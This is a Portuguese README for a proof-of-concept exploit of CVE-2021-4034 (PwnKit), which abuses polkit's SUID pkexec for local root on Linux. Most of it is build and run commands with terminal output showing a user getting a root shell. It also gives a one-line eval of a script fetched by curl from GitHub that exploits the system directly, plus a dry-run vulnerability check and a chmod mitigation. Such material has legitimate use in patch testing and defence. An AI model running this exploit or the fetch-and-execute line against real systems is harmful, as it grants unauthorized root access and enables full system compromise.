
Exploit de prova de conceito para CVE-2021-4034 (PwnKit) visando o binário SUID pkexec do polkit para obter escalada de privilégio local para root em sistemas Linux.
Um dia para a exploração de escalada de privilégios do polkit
Basta executar make, ./cve-2021-4034 e desfrutar do seu shell root.
O aviso original pelos autores reais está aqui
Se o exploit estiver funcionando, você obterá um shell root imediatamente:
vagrant@ubuntu-impish:~/CVE-2021-4034$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
# whoami
root
# exit
Atualizar o polkit na maioria dos sistemas corrigirá o exploit, portanto você verá a ajuda e o programa será encerrado:
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$
Para não executar um shell, mas apenas testar se o sistema é vulnerável, compile o alvo dry-run.
Se o programa encerrar imprimindo "root", significa que seu sistema é vulnerável ao exploit.
vagrant@ubuntu-impish:~/CVE-2021-4034$ make dry-run
...
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
root
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
1
Se o seu sistema não for vulnerável, ele imprime um erro e encerra.
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
0
O Polkit (anteriormente PolicyKit) é um componente para controlar privilégios em todo o sistema em sistemas operacionais tipo Unix. Ele fornece uma maneira organizada para processos não privilegiados se comunicarem com processos privilegiados. Também é possível usar o polkit para executar comandos com privilégios elevados usando o comando pkexec seguido do comando que se pretende executar (com permissão de root).
Você pode facilmente explorar o sistema usando um único script, baixável e executável com este comando:
eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
vagrant@ubuntu-impish:~/CVE-2021-4034$ whoami
vagrant
vagrant@ubuntu-impish:~/CVE-2021-4034$ eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp -f /usr/bin/true GCONV_PATH=./pwnkit.so:.
# whoami
root
Se nenhum patch estiver disponível para o seu sistema operacional, você pode remover o bit SUID do pkexec como mitigação temporária.
# chmod 0755 /usr/bin/pkexec
O exploit então falhará reclamando que pkexec deve ter o
bit setuid ativado.
vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ sudo chmod 0755 /usr/bin/pkexec
vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ ./cve-2021-4034
GLib: Cannot convert message: Could not open converter from “UTF-8” to “PWNKIT”
pkexec must be setuid root